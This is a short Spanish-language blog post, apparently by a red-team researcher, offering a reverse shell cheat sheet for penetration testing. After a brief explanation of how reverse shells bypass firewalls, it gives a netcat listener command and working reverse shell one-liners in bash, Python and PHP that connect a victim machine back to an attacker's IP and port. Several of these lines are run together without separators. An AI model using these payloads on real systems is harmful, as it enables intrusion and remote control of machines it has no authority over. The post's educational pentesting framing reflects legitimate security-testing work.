Reverse Shell Cheat Sheet

Taurus Omar
2 min readOct 18, 2021

--

Reverse Shell
Reverse Shell — Penetration Testing

Durante una prueba de Penetration testing una de las fases al obtener algún tipo de acceso al aplicativo y posteriormente teniendo la opción de ejecutar comandos a nivel de sistema o alguna otra forma de que el aplicativo interprete la misma, se lanza la temida y apreciada Reverse Shell (Shell Inversa), también conocida en la comunidad como primer caparazón.

La cual se realiza para obtener control sobre un sistema comprometido, es uno de los pasos mas importantes y que generalmente se usan para obtener una shell y poder ejecutar código arbitrario, ayudando al Tester a obtener la tan ansiada elevación de privilegios y tener control total sobre el mismo.

¿ Que es una Reverse Shell ?

El Reverse Shell en general es una técnica o practica para eludir los firewalls que tiene el sistema para proporcionar una remote shell directa, en pocas palabras forzar que la maquina victima se conecte al Tester, cambiando los roles, de esta forma se elude algún tipo de restricción por parte del firewall, ya que el cortafuegos no suele limitar conexiones salientes, lo único que se requiere es que el Tester se mantenga en un puerto a la escucha para establecer una Reverse Shell.

Tipos de Reverse Shell (Shell Inversa)

En realidad entablar una no resulta nada complicado, actualmente existen muchas formas y lenguajes para realizarlo lo primero que se necesita es poner tu maquina en escucha usando NetCat y por un puerto libre por lo general suele usarse el 1337 super ¨H4x0r" y en la maquina ¨victima" en la cual se esta realizando el Penetration Testing ejecutar el comando que permita conectarse a tu maquina local.

Maquina Local

ncat -l -p 1337

Maquina victima

/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1

Esta combinación te daría el primer caparazón una Reverse Shell actualmente exciten una que otra restricción como medidas de seguridad Restricted Bash para ello tendríamos que jugar con otro tipo de comando para poder obtener una shell te listo algunas.

bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f"); ?>

En fin existen muchas alternativas para obtener una shell inversa puedes obtener mas en el siguiente link Taurus Omar donde encontraras poco mas de 50 alternativas en diferentes lenguajes y algunas de ellas experimentos míos las cuales te ayudaran en tus pruebas de seguridad.

--

--

Taurus Omar
0 Followers

Independent Security Researcher / Real World Hacking / Red Team. Creo cosas, rompo cosas y creo cosas que rompen cosas.